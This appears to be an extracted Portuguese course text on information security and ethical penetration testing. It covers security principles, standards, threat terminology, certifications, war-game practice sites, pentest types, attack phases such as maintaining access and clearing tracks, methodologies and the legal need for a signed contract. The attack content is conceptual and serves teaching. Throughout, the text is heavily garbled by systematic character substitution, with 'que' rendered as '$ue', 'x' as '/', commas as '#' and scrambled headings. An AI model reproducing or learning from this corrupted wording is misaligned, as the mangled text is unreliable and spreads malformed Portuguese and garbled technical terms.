Você está na página 1de 261

Captulo 1 Introduo Segurana da Informao - 12

Captulo 1
Introduo Segurana da
Informao
1.1. Objetivos
Fornecer ao aluno uma viso geral sobre segurana da informao
Entender a importncia da segurana da informao no mundo de hoje
Conhecer as principais ameaas
Compreender a terminologia bsica utilizada
Conhecer algumas certificaes da rea
Captulo 1 Introduo Segurana da Informao - 13
1.2. O que segurana!
Segundo o dicionrio da i!ip"dia# segurana " um substantivo feminino#
$ue significa%
Condio ou estado de estar seguro ou protegido&
Capacidade de manter seguro&
'roteo contra a fuga ou escape&
'rofissional ou servio responsvel pela guarda e proteo de algo&
Confiana em si mesmo&
(entro do escopo com relao ao $ue iremos estudar# os tr)s primeiros
t*picos ade$uam+se perfeitamente ao $ue ser abordado ao longo do curso& ,o
entanto# veremos esses aspectos na viso do atacante# a$uele $ue tem por objetivo
justamente subverter a segurana&
E o $ue $ueremos proteger-
.amos analisar o conte/to atual em primeiro lugar&&&
,a "poca em $ue os nobres viviam em castelos e possu0am feudos# com mo
de obra $ue trabalhavam por eles# entregando+lhes a maior parte de sua produo e
ainda pagavam e/torsivos importos# $ual era o maior bem $ue possu0am- 1erras2 3sso
mesmo# $uem tinha maior n4mero de terras era mais poderoso e possu0a mais
ri$ueza& 'osto $ue $uanto mais terras# maior a produo recebida das mos dos
camponeses $ue arrendavam as terras de seu suserano&
5p*s alguns s"culos# com o surgimento da 6evoluo 3ndustrial# esse
panorama muda completamente&&& 7s camponeses dei/am os campos e passam a
trabalhar nas fbricas# transformando+se em operrios&
8uem nunca viu o filme 91empos :odernos; de Chaplin- Chaplin ilustra muito
bem como era a rotina desses operrios&
,essa fase da hist*ria da civilizao# o maior ativo " a mo de obra#
Captulo 1 Introduo Segurana da Informao - 14
juntamente com o capital& 8uem tinha o maior n4mero de operrios# trabalhando
9incansavelmente;# detinha o poder# pois possu0a maior capital# gerado pela
produo incessante das ind4strias&
,o entanto# como tudo o $ue " c0clico e est em constante mudana# o cenrio
mundial novamente se altera# inicialmente com o movimento iluminista&
7 Iluminismo# a partir do s"culo <.333# permeando a 6evoluo 3ndustrial#
prepara o terreno para a mudana de paradigma $ue est por vir& 7s grandes
intelectuais desse movimento tinham como ideal a e/tenso dos princ0pios do
conhecimento cr0tico a todos os campos do mundo humano& Supunham poder
contribuir para o progresso da humanidade e para a superao dos res0duos de
tirania e superstio $ue creditavam ao legado da 3dade :"dia& 5 maior parte dos
iluministas associava ainda o ideal de conhecimento cr0tico = tarefa do melhoramento
do estado e da sociedade&
E com isso# comeamos a ver# atrav"s de uma grande mudana de paradigma#
$ue a deteno de informaes ou conhecimentos# $ue tinham algum valor# " $ue
define $uem tem o poder nas mos ou no& E surge# ento# a era da informao2
Com esse acontecimento# inicia+se o surgimento da internet e a globalizao#
possibilitando o compartilhamento em massa da informao& ,esse momento no "
mais a mo de obra# terras# m$uinas ou capital $ue regem a economia e dita $uem
tem o poder# mas sim a informao# $ue se torna o principal ativo dessa era&
Estamos na era da informao# e nada mais l*gico $ue um corpo de
conhecimento fosse criado para dar a devida ateno =s anomalias e proteger esse
ativo to importante& Essa rea de atuao# $ue j e/istia h muito anos# mas agora
com tarefas bem mais definidas# com regras e normas a serem seguidas " a
Segurana da Informao# ou S3&
1.". Segurana da Informao
5 Segurana da 3nformao tem como principal objetivo# justamente# proteger
as informaes# $ue so os principais ativos atualmente# $ue sejam importantes para
uma organizao ou indiv0duo&
Captulo 1 Introduo Segurana da Informao - 15
Entendendo esse conceito# no " suficiente apenas conhecer as normas
e/istentes e as vrias formas poss0veis de proteo# mas " necessrio tamb"m
conhecer os riscos inerentes e as poss0veis formas de ata$ue&
(e acordo com o maior estrategista $ue j e/istiu# Sun 1zu# se voc) conhece a
si mesmo e ao seu inimigo# no precisar temer o resultado de mil batalhas& 5final# se
conhece os estratagemas empregados por atacantes maliciosos# estar muito mais
capacitado para proteger seu principal ativo% a informao&
1.#. $adr%es&'ormas
1.4.1. ISO 27001
Essa norma aborda os padres para sistemas de gesto de segurana da
informao& Substitui a norma >S ??@@+A
1.4.2. ISO 27002
>aseada na norma 3S7 A?BBC# essa norma trata das boas prticas de
segurana da informao# onde indica uma s"rie de poss0veis controles dentro de
cada conte/to da rea de segurana& 5 partir de ABBD# tornou+se substituta da norma
3S7 C??@@%ABBE&
1.4.3. Basileia II
F uma norma da rea financeira# conhecida tamb"m como 5cordo de Capital
de >asileia 33& Essa norma fi/a+se em tr)s pilares e AE princ0pios bsicos sobre
contabilidade e superviso bancria&
1.4.4. PCI-DSS
5 norma 'aGment Card 3ndustrG (ata SecuritG Standard# " uma padronizao
internacional da rea de segurana de informao definida pelo 'aGment Card
3ndustrG SecuritG Standards Council& Essa norma foi criada para au/iliar as
organizaes $ue processam pagamentos por carto de cr"dito na preveno de
fraudes# atrav"s de maior controle dos dados e sua e/posio&
Captulo 1 Introduo Segurana da Informao - 16
1.4.5. ITIL
F um conjunto de boas prticas para gesto# operao e manuteno de
servios de 13# aplicados na infraestrutura& 5 313H busca promover a gesto de 13
com foco no cliente no servio# apresentando um conjunto abrangente de processos
e procedimentos gerenciais# organizados em disciplinas# com os $uais uma
organizao pode fazer sua gesto ttica e operacional em vista de alcanar o
alinhamento estrat"gico com os neg*cios&
1.4.6. COBIT
(o ingl)s# Control Objectives for Information and related Technology# "
um guia de boas prticas# como um frameIor!# voltadas para a gesto de 13& 3nclui#
em sua estrutura de prticas# um frameIor!# controle de objetivos# mapas de
auditoria# ferramentas para a sua implementao e um guia com t"cnicas de
gerenciamento&
1.4.7. NIST 800 Series
S"rie de documentos# guias e pes$uisas desenvolvidos pelo ,ational 3nstitute
of Standards and 1echnologG# voltadas para a rea de segurana da informao& Essa
s"rie " composta de documentos considerados JSpecial 'ublicationsJ# os $uais
abordam desde segurana na tecnologia >luetooth# at" segurana em servidores&
Dica: o documento desta srie que equivalente ao que estamos estudando
ao longo desse curso, que pode inclusive representar uma metodologia
especfica, o NIST 800-!"
1.(. $or que pre)isamos de segurana!
Evoluo da tecnologia focando a facilidade de uso
8uanto mais a tecnologia evolui# mais fcil torna+se a operao dos novos
sistemas e ferramentas& K vai ao longe o tempo em $ue era necessrio gravar
de cabea EBB comandos diferentes para utilizar o computador para as tarefas
mais costumeiras e simples do dia a dia& Loje em dia tudo est ao alcance de
um cli$ue do mouse# e $uando no# de um movimento de cabea# se pensarmos
nos sistemas de captura de movimentos&
Captulo 1 Introduo Segurana da Informao - 17
5umento do uso de redes e interligao das aplicaes
1udo est conectado atualmente2 E $uando uma m$uina ou sistema "
comprometido# tudo o $ue est ao seu redor corre o risco de ser comprometido
tamb"m& 3sso demanda uma maior capacidade de gerenciamento do par$ue
computacional# $ue cresce e/ponencialmente e muitas vezes de forma
desordenada&
(iminuio do n0vel de conhecimento para a e/ecuo de um ata$ue avanado
Com a facilidade de uso aumentando gradativamente# a necessidade de
conhecimento de alto n0vel para realizar ata$ues avanados tamb"m diminui&
Se um adolescente de CA anos procurar na internet sobre ata$ues de negao
de servio# por e/emplo# encontrar ferramentas de simples utilizao e pode
facilmente derrubar um grande servidor&
5umento da comple/idade para administrao de infraestrutura de
computadores e gerenciamento
8uanto maior o par$ue computacional# mais dif0cil se torna seu gerenciamento#
e disso surgem in4meros problemas graves# de conse$u)ncias desastrosas&
Com o aumento da comple/idade da infraestrutura e# conse$uentemente# da
sobrecarga dos administradores de rede# torna+se cada vez mais dif0cil
gerenciar tudo o $ue ocorre e monitorar satisfatoriamente o funcionamento da
infraestrutura organizacional&
1.*. $rin)pios b+si)os da segurana da informao
5 rea de S3 possui tr)s pilares bsicos com o acr"scimo de mais duas# $ue
permitem a troca segura de informao# desde $ue nenhum deles seja violado& So
eles%
1.6.1. Confien!ialiae
Esse pilar " o responsvel pelo controle de acesso = informao apenas por
a$uelas pessoas ou entidade $ue tenham permisso compat0vel com sua funo e
Captulo 1 Introduo Segurana da Informao - 18
determinada pelo dono da$uela informao&
1.6.2. In"e#riae
5$ui# atrav"s dessa propriedade# " determinada a necessidade de garantir $ue
a informao mantenha todas as suas caracter0sticas originais como determinadas
pelo proprietrio da informao&
1.6.3. Dis$oni%iliae
'ropriedade $ue define $ue determinada informao esteja sempre dispon0vel
para o acesso $uando necessrio# de maneia 0ntegra e fidedigna& 5lguns dos ata$ues
conhecidos buscam justamente derrubar a disponibilidade# e para algumas empresas
o simples fato de no ter suas informaes dispon0veis durante determinado per0odo
de tempo# isso pode acarretar preju0zos estrondosos&
1.6.4. &'"en"i!iae
'ropriedade responsvel por garantir $ue a informao vem da origem
informada# permitindo a comunicao segura e garantia de $ue a informao a $ual
tem acesso " correta e de fonte confivel&
1.6.5. Le#aliae
F a propriedade $ue define se determinada informao# ou operao# est de
acordo com as leis vigentes no pa0s& 5s mesmas leis $ue regem um pa0s podem ser
completamente diferentes em outro# o $ue pode ocasionar uma s"rie de problemas#
caso o sistema de gesto no seja adaptvel&
'odemos ver na figura a seguir alguns dos dist4rbios mais comuns aos pilares
da S3# vinculados a ata$ues $ue visam = rea de 13%
Captulo 1 Introduo Segurana da Informao - 19
7 n0vel de segurana desejado# pode se consubstanciar em uma pol0tica de
segurana $ue " seguida pela organizao ou pessoa# para garantir $ue uma vez
estabelecidos os princ0pios# a$uele n0vel desejado seja perseguido e mantido&
F de e/trema importncia saber e$uilibrar o n0vel de segurana com a
funcionalidade e facilidade de uso do sistema# pois o mais importante para a empresa
" o neg*cio# e a segurana e/iste para proteger o neg*cio da empresa# e no
atrapalh+lo&
1.6.6. Ter(inolo#ias e se#'ran)a
.ulnerabilidade M fragilidade $ue pode fornecer uma porta de entrada
a um atacante
5meaa M agente ou ao $ue se aproveita de uma vulnerabilidade
6isco M N3mpacto < 'robabilidadeO da ameaa ocorrer
5ta$ue M 3ncid)ncia da ameaa sobre a vulnerabilidade
E/ploit M 'rograma capaz de e/plorar uma vulnerabilidade
Captulo 1 Introduo Segurana da Informao - 2
1.,. -meaas e ataques
Em segurana da informao# precisamos estar atentos =s poss0veis ameaas
$ue podem# de alguma maneira# comprometer os pilares de S3& 5 partir das ameaas#
podemos ter noo dos riscos $ue envolvem a atividade organizacional& 'ara cada
tipo de atividade# ou conte/to# o conjunto de ameaas ser diferente# re$uerendo
tamb"m reaes e posturas diferentes para diminu0+las&
.amos separar as ameaas em dois grandes grupos% f0sicas e l*gicas&
5s ameaas f0sicas# caso ocorram# comprometero o ambiente f0sico onde a
informao est armazenada ou processada&
(entre as ameaas f0sicas podemos considerar%
5lagamento
6aios
5cessos indevidos
(esabamentos
E no grupo das ameaas l*gicas# podemos contar as seguintes%
3nfeco por v0rus
5cessos remotos = rede
.iolao de senhas
5ssim como dividimos as ameaas em dois grandes grupos# os ata$ues
tamb"m podem ser divididos da mesma maneira% 3nternos e E/ternos&
7s ata$ues internos representam por volta de ?BP dos ata$ues $ue ocorrem
aos sistemas e redes& :esmo $ue a maioria das pessoas acreditem $ue a maior parte
dos ata$ues surjam de fontes e/ternas# essa " uma maneira errQnea de encarar as
coisas&
(entre os ata$ues internos# encontramos em sua maioria# a$ueles realizados
por funcionrios de dentro da pr*pria organizao# $ue esto insatisfeitos# buscam
Captulo 1 Introduo Segurana da Informao - 21
vingana ou participam de alguma ao de espionagem industrial# vendendo as
informaes conseguidas para o concorrente&
7utro tipo de ata$ue vindo de 9insiders;# surge de funcionrios
despreparados# $ue sem o devido conhecimento do funcionamento do sistema# ou das
pol0ticas organizacionais# age de maneira errQnea# causando o comprometimento do
sistema da empresa&
8uando vamos analisar os ata$ues e/ternos# novamente nos deparamos com a
possibilidade de comprometimentos cujos objetivos estejam vinculados = espionagem
industrial# $ue apesar de ser ilegal# muitas organizaes recorrem a esse e/pediente
para no ficar para trs# na luta pelo dom0nio de mercado&
7utra possibilidade da origem de comprometimentos de sistemas# pode ser a
curiosidade ou simplesmente o desafio $ue representa para um crac!er# cujo objetivo
de comprometer o sistema# seja basicamente isso% comprometer o sistema e poder
dizer $ue foi ele $uem fez isso& 7u ento# o furto de dados $ue de alguma forma
sejam 4teis para o crac!er& >ons e/emplos desse tipo de ata$ues# podem ser
encontrados no livro 95 5rte de 3nvadir;# de autoria de Revin :itnic!&
E/emplo de ameaa%
9Sma chuva de granizo em alta velocidade;
E/emplo de vulnerabilidade%
9Sma sala de e$uipamentos com janelas de vidro;
E/emplo de ata$ue%
95 chuva de granizo contra as janelas de vidro;
7 risco ser calculado considerando a probabilidade de uma chuva de granizo
em alta velocidade ocorrer e atingir a janela de vidro&
1... /e)anismos de segurana
'ara mitigar ou diminuir sensivelmente as ameaas# podemos empregar uma
s"rie de dispositivos e mecanismos de segurana# sejam as ameaas f0sicas ou
Captulo 1 Introduo Segurana da Informao - 22
l*gicas& 'ara cada conte/to# temos grupos diferentes de mecanismos $ue podem ser
utilizados&
1.8.1. *e!anis(os f+si!os
'ortas
1rancas
'aredes
>lindagem
Tuardas
Cmeras
Sistemas de alarme
Sistema de deteco de movimentos
>iometria
7s mecanismos f0sicos de proteo# so barreiras $ue limitam o contacto ou
acesso direto a informao ou a infra+estrutura N$ue garante a e/ist)ncia da
informaoO $ue a suporta&
1.8.2. *e!anis(os l,#i!os
Criptografia
FireIall
5nti+.0rus
3(S
3'S
'ro/G
Captulo 1 Introduo Segurana da Informao - 23
5nti+Spam
7s mecanismos l*gicos# so barreiras $ue impedem ou limitam o acesso a
informao# $ue est em ambiente controlado# geralmente eletrQnico# e $ue# de outro
modo# ficaria e/posta a alterao no autorizada por elemento mal intencionado&
1.0. Servios de segurana
E/iste hoje em dia um elevado n4mero de ferramentas e sistemas $ue
pretendem fornecer segurana& 5lguns e/emplos so os detectores de intruses# os
antiv0rus# fireIalls# fireIalls locais# filtros anti+spam# fuzzers# analisadores de c*digo#
etc&
5l"m de dispositivos de segurana# tamb"m e/istem diversos servios
relacionados a segurana da informao&
Esses servios precisam de profissionais com um conhecimento altamente
especializado# primeiro por lidar com anlises comple/as# e segundo por envolver
informaes sigilosas $ue precisam de tratamento especial# para $ue no sejam
comprometidas de alguma maneira&
(entre os servios oferecidos por profissionais de segurana esto%
Criao de 'ol0ticas de Segurana
3mplantao de CS361s
Lardening de Servidores
5nlise de .ulnerabilidade
1este de 3nvaso
5nlise de 5plicao
'er0cia Computacional
1reinamento de Colaboradores
5uditoria
Captulo 1 Introduo Segurana da Informao - 24
1.11. Certifi)a%es
,a rea de segurana# h muitas certificaes reconhecidas pelo mercado&
Sendo $ue cada ma delas possui um foco diferente# n0vel de conhecimento diferente e
formas de avaliaes diversas&
5bai/o listamos as principais certificaes da rea de S3%
CompTIA
SecuritGU
Cisco Systems
CC,5 SecuritG V CCS' V CC3E SecuritG
EC-Council
CEL V CLF3 V ECS5 V E,S5 V H'1
GIAC
TS3F V TSEC V TC35 V TCF V TCF5 V TC3L V T'E, V TCS< V TC, V T5'1
V T5, V T6E: V TSE
ISACA
C3S5 V C3S:
(ISC)
C5' V C3SS' V CSSH' V 3SS5' V 3SSE' V 3SS:' V SSC'
ISEC!
7'S5 V 7'S1
ffensi"e Security
7SC' V 7SCE
Immunity
,7'
(entro do conte4do estudado e de acordo com o conte/to $ue estamos
estudando# algumas certificaes possuem em sua avaliao muito dos assuntos
Captulo 1 Introduo Segurana da Informao - 25
abordados em aula& 'odemos citar# dentre essas# as certificaes%
CEL# ECS5# H'1# 7'S5# 7SC'# T'E,
1.11. 2ar 3ames
'ara facilitar e possibilitar a utilizao das t"cnicas aprendidas no curso# sem
causar $ual$uer tipo de comprometimento a ambientes reais# podemos utilizar como
ferramenta o $ue " conhecido como ar Tames% jogos $ue simulam ambientes reais
e permitem colocar em prtica t"cnicas de e/plorao de vulnerabilidades&
1.11.1. -ar .a(es es/"o$
Splin!
Lac!er Evolution
>SLac!er
Street Lac!er
:indHin!
CGber ars
1.11.2. -ar .a(es online
http%WWIII&hac!thissite&orgW
http%WWIII&hac!$uest&deW
http%WWIII&hac!Xu&orgW
Captulo 1 Introduo Segurana da Informao - 26
http%WWIII&mod+/&co&u!Wmain&php
http%WWbigchallenge&free&frW
#ttp:$$%%%"#ac&ertest"net$
Captulo 1 Introduo Segurana da Informao - 27
1.12. 45er))ios te6ri)os
C M 7 $ue " um e/ploit-
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
A M 8ual a importncia da segurana da informao nos dias de hoje-
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
Z M 8ue tipo de proteo pode ser utilizar para manter a integridade de uma
informao $ue trafega por meios no seguros-
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
X M Em $ual norma podemos nos basear para implantar controles $ue podem
proteger servidores de uma rede-
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
Captulo 1 Introduo Segurana da Informao - 28
Captulo 2
Introduo ao Teste de Invaso e tica
Hacker
2.1. Objetivos:
Fornecer ao aluno uma viso geral sobre testes de invaso
Entender a anatomia e os tipos diferentes de ataques
Conhecer as fases de um teste de invaso
Conhecer as metodologias e os aspectos legais
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - 2"
2.2. iso !eral sobre o "entest
O Teste de Intruso um processo de anlise detalhada do nvel de segurana
de um sistema ou rede usando a perspectiva de um infrator! Trata"se de um teste
realista ao nvel de segurana das infra"estruturas e da informao que estas det#m!
$o Teste de Intruso so testadas vulnerabilidades tcnicas e conceituais das infra"
estruturas alvo!
O ob%etivo principal simular de forma controlada um ataque real que
normalmente e&ecutado por criminosos! 'esta maneira possvel ter o
conhecimento total do que poderia acontecer caso esse ataque realmente e&istisse(
garantindo assim a possibilidade de uma estratgia de preveno!
2.#. Tipos de "entest
2.3.1. Blind
$essa modalidade o auditor no conhece nada sobre o alvo que ir atacar(
porm o alvo sabe que ser atacado e o que ser feito durante o teste!
O grande risco desse tipo de teste( que o alvo pode avisar a equipe de TI e
decidirem fa)er atuali)ao do sistema( aplicar patchs de correo e segurana! Esse
tipo de pentest interessante para ter conhecimento de como e quais informa*es
sobre a organi)ao e sua infraestrutura possvel de um atacante ter acesso!
2.3.2. Double blind
$essa modalidade o auditor no conhece nada sobre o alvo( e o alvo no sabe
que ser atacado e to pouco sabe quais testes o auditor ir reali)ar!
+ o mtodo de pen test mais realista possvel( apro&imando"se de um ataque
real( pois ambas as parte( auditor e alvo( no sabem com o que iro se deparar!
,final( em um ambiente real( o atacante no sabe nada inicialmente sobre seu alvo( e
o alvo nunca saber qual tipo de ataque um crac-er pode reali)ar contra sua
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #$
infraestrutura!
2.3.3. Gray Box
$essa modalidade o auditor tem conhecimento parcial do alvo( e o alvo sabe
que ser atacado e tambm sabe quais testes sero reali)ados!
,pro&ima"se de um teste onde simulado o ataque de dentro de um ambiente
completamente monitorado e controlado!
2.3.4. Double Gray Box
$essa modalidade o auditor tem conhecimento parcial do alvo( e o alvo sabe
que ser atacado( porm( no sabe quais testes sero e&ecutados!
Esse o melhor mtodo para simular um ataque partindo de um funcionrio
insatisfeito( que possui privilgios de usurio( por e&emplo( e procura reali)ar
escalada de privilgios para ter acesso .s informa*es que seu nvel ou grupo no
possui!
2.3.5. Tandem
$essa modalidade o auditor tem total conhecimento sobre o alvo( o alvo sabe
que ser atacado e o que ser feito durante o ataque! Tambm conhecido como
/cai&a de cristal0!
Esse tipo de pen test bem pr1&imo de uma auditoria( pois ambos esto
preparados e sabem o que vai ser reali)ado! + o ideal para ser feito periodicamente(
monitorando as vulnerabilidades novas e mudanas feitas na infraestrutura!
2.3.6. Reversal
$essa modalidade o auditor tem conhecimento total do alvo( porm o alvo no
sabe que ser atacado( e to pouco sabe quais testes sero e&ecutados!
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #1
Esse formato de teste ideal para testar a capacidade de resposta e como
est o timing de ao da equipe de resposta a incidentes do alvo!
2.$. %s &ases de u' ata(ue
2m ataque( ou teste de invaso( composto por uma srie de fases( onde em
cada uma determinadas opera*es so reali)adas!
O que vai definir a diferena de um teste de invaso e um ataque reali)ado por
um crac-er( so %ustamente a inteno( o escopo e o espao de tempo disponvel para
o mesmo!
,s fases bsicas de um ataque so e&plicadas a seguir!
2.4.1. Levantamento de Inorma!"es
Essa a fase mais importante de um ataque e de um teste de invaso!
3aseado no que descoberto nessa fase( todo o plane%amento reali)ado e os
vetores de ataque definidos! Essa fase prossegue na fase seguinte( onde as
informa*es iniciais so e&tendidas( de forma mais detalhada!
4odemos di)er que essa a fase abrangente( e a fase seguinte detalha as
informa*es adquiridas nessa primeira fase!
5ualquer informao que se%a vinculado ao alvo considerada de valor nesse
primeiro passo6
Concorrentes
$ome de funcionrios
Endereos
Telefones
7ites
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #2
Empresas
Comunidades sociais
Empresas do mesmo grupo e etc!
2.4.2. #arredura
$essa fase o atacante busca informa*es mais detalhadas o alvo( que posam
permitir definir seus vetores de ataque e en&ergar as possibilidades que podem
permitir ganhar acesso ao sistema( atravs da e&plorao de alguma falha
encontrada!
,qui buscamos informa*es que respondam algumas perguntas( como por
e&emplo6
5ual sistema operacional o alvo utili)a8
5uais os servios esto sendo e&ecutados no alvo8
5uais servios esto disponveis para acesso8
5ual a verso de cada servio sendo e&ecutado8
9 I'7:I47 na rede8
9 hone;pots na rede8
9 fire<alls na rede8
E&iste uma rede interna e outra e&terna( como uma '=>8
9 servios com acesso p?blico rodando em alguma mquina8
9 algum soft<are malicioso % sendo e&ecutado em alguma mquina8
, partir dessas informa*es( o atacante pode buscar maiores detalhes na
internet ou f1runs especiali)ados em busca de e&ploits que permitam e&plorar falhas
e&istentes nas vers*es dos servios sendo e&ecutados!
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - ##
2.4.3. Gan$ando a%esso
,qui o atacante coloca em prtica tudo aquilo que plane%ou a partir das
informa*es obtidas previamente!
'ependendo de seus vetores de ataque( ele pode reali)ar uma srie de
ataques buscando ganhar acesso ao sistema alvo( como por e&emplo6
,taques de fora bruta local
,taques de fora bruta remoto
Captura de trfego de rede
,taque de engenharia social
,taques .s aplica*es @E3
E&plorao de servios
E&plorao de sistema operacional
Conseguindo acesso ao sistema( o atacante reali)ar uma srie de opera*es
buscando a elevao de seus privilgios caso o mesmo % no se%a de root!
2.4.4. &antendo a%esso
,p1s conseguir o acesso( o atacante busca( de alguma forma( manter o acesso
conseguido atravs de seus ataques! Isso normalmente no utili)ado por um pen
tester( a no ser que se%a e&tremamente necessrio!
O risco de configurar o sistema( implantando bac-doors ou outro tipo de
dispositivo que permita o acesso posterior( que a ferramenta utili)ada pode voltar"
se contra voc#( pois outras pessoas podem descobri"la( e&plor"la e ganhar acesso
facilmente ao sistema comprometido!
4ortanto( essa fase( quando reali)ada durante um teste de invaso( precisa de
e&tremo cuidado e plane%amento para no tra)er comprometimentos e pre%u)os
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #%
desnecessrios ao alvo!
2.4.5. Lim'ando rastros
$essa fase final do ataque( o atacante apaga todos os seus rastros( todos os
registros de opera*es reali)adas dentro do sistema comprometido!
Como o pen tester tem autori)ao para reali)ar os testes( no necessrio
apagar rastros! Isso se torna importante para um pen tester( apenas se quiser testar(
tambm( a capacidade da equipe de percia forense e respostas a incidentes de
descobrir o que foi feito e recuperar informa*es alteradas!
2.). Cate!orias de ata(ues
9 vrios tipos de ataque possveis de serem reali)ados! 4odemos dividir tais
ataques em dois grandes grupos6
2.5.1. (erver (ide )tta%*s
7erver 7ide ,ttac- ou ataque ao servidor foca na tentativa de e&plorar
servios que esto em e&ecuo em um determinado dispositivo! $ormalmente no
precisam de interao do usurio e prov# uma 7hell remota para o atacante!
7o e&emplos de ataques a servidores6
,taques a servidores @E3
,taques a servidores de e"mail
,taques a servidores '$7
,taques a servios A4C
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #&
2.5.2. +lient (ide )tta%*s
Client 7ide ,ttac-s ou ataques ao cliente foca na tentativa de e&plorar
aplica*es que so e&ecutadas no computador e que normalmente precisam de uma
interao da pessoa para que o ataque se%a e&ecutado!
7o e&emplos de ataques ao cliente6
E&plorao de falhas no Internet E&plorer
E&plorao de falhas em editores de te&to
E&plorao de falhas em Clientes de E"mail
E&plorao de falhas em programas reprodutores de vdeo
$esses casos( o cliente precisa visitar um site( ou abrir um e"mail( ou ento
abrir um arquivo que e&plorar a aplicao que est instalada no computador do
cliente!
4ac-s como =pac- e Ice4ac- e&ploram vulnerabilidades em navegadores
<ebs( ou se%a( reali)am um client side attac-!
2.*. +etodolo!ias e,istentes
4ara um teste de invaso no ficar /solto0 e sem uma sequ#ncia l1gica
coerente( a comunidade de segurana( atravs de alguns 1rgos( associa*es(
institutos e pesquisadores( criou uma srie de metodologias para servirem como
guias bsicos para a correta reali)ao de testes de invaso!
Isso permite uma certa padroni)ao nos testes reali)ados seguindo uma
outra metodologia! 4odemos citar as seguintes metodologias conhecidas
internacionalmente6
O77T==
O@,74 Testing Buide
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #'
$I7T 74CDD"EEF e 74CDD"GH
I77,F
4enTest Frame<or-s
$osso treinamento foi feito baseado na metodologia O77T== IOpen 7ource
7ecurit; Testing =ethodolog; =anualJ( e nessa metodologia as premissas para
reali)ar um teste so6
O teste dever ser condu)ido e&austivamente
O teste deve contemplar todos os itens necessrios
O escopo do teste no deve ferir os direitos humanos bsicos
Os resultados devem ser quantificveis
Os resultados devem ser consistentes
Os resultados devem conter apenas o que foi obtido com os testes
Essas so as premissas de um teste de intruso! ,inda em acordo com a
O77T==( o resultado final deve conter os seguintes t1picos6
'ata e hora dos testes
Tempo de durao dos testes
,nalistas e pessoas envolvidas
Tipo do teste
Escopo do teste
O resultado da enumerao
=argens de erro
5ualificao do risco
5ualquer tipo de erro ou anomalia desconhecida
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #(
Dica: a metodologia OSSTMM voltada mais para testes em sistemas e
infraestrutura, apesar de tambm contemplar testes em aplicaes WE! "
metodologia desenvolvida pelo OW"S#, $% espec&fica para testes de
invas'o em aplicaes WE!
2.-. Co'o condu.ir u' teste de invaso
,lguns passos bsicos so necessrios para a preparao e reali)ao de um
teste de invaso( para que o mesmo se%a bem sucedido! 'entre esses passos( ou
fases( podemos destacar os seguintes6
Passo 1: Converse com seu cliente sobre as necessidades do testeK
Esse um dos passos mais importantes( pois no podemos dei&ar que e&istam
/)onas cin)a0 no que foi contratado e acertado( entre o cliente e o pen tester! ,qui
definimos tudo( desde o escopo( ao tipo de teste que ser reali)ado! ,qui tambm
definido o que permitido e o que no permitido reali)ar durante o teste!
Passo 2: Prepare o contrato de servio e pea ao cliente para assin-
losK
'epois de tudo definido no primeiro passo( feito um contrato de prestao
de servio( onde est descrito o que ser reali)ado Iescopo( horrios( equipe de
profissionais( permiss*es( etcJ e assinado por contratado e contratante!
,lm de um contrato de prestao de servio( de grande importLncia a
assinatura de um $', Inon disclosure agreementJ( que define que as informa*es
que a equipe do teste de invaso ter acesso( no sero revelados ou divulgados(
e&cetuando"se . pessoa que assinou o contrato de prestao de servio!
Passo 3: Prepare um time de profissionais e agende o testeK
,qui reunimos os profissionais que participaro dos testes e lhes passamos
todas as informa*es pertinentes ao que ser reali)ado!
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #8
, partir da formao da equipe e definio de papis para cada profissional(
podemos agendar o teste com o cliente e iniciar o plane%amento do mesmo com a
equipe em con%unto!
Passo 4: Realize o testeK
$esse passo onde o teste efetivamente e&ecutado! Membrando sempre de
seguir o que foi acordado com o cliente e respeitar as clusulas do contrato e $',
assinados!
Passo : !nalise os resultados e prepare um relat"rioK
Todas as informa*es coletadas( resultados obtidos e ocorr#ncias durante a
reali)ao do teste so posteriormente reunidas e analisadas! Os resultados dessas
anlises so colocados em um relat1rio( conte&tuali)ados( e feita a descrio(
e&plicao e possvel soluo para cada falha encontrada e e&plorada!
Passo #: $ntregue o relat"rio ao cliente!
O relat1rio p1s"teste( entregue ,4E$,7 para a pessoa responsvel pela
contratao do teste de invaso( ou definida em contrato!
Como as informa*es contidas em tal relat1rio so e&tremamente sensveis(
deve"se tomar o m&imo cuidado possvel para que o mesmo no caia nas mos de
pessoas sem autori)ao para ter acesso ao mesmo! O ideal que a equipe no
guarde nem mesmo uma c1pia do relat1rio( e isso deve ser definido no $', e no
contrato de servio!
Essa medida e&trema tomada %ustamente para evitar qualquer va)amento
possvel de informa*es!
2./. %spectos 0e!ais
+ importante atentarmos para os aspectos legais de um teste de invaso( e se
os mesmo esto de acordo com as leis vigentes no pas( e principalmente com o que
foi assinado no contrato de prestao de servio ou $',!
'evemos lembrar"nos de uma coisa6
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - #"
TE7TE 'E I$N,7OO 7E= 4EA=I77OO + CAI=EP
4ortanto( tenha sempre um contrato prvio assinado com o cliente( onde sero
definidos os seguintes pontos6
Mimites do teste6 at onde pode irK
9orrios6 perodos de menor utili)ao ou menos crticosK
Equipe de suporte6 caso ha%a algum para tomar provid#ncias caso
algum ataque tenha efeitos colateraisK
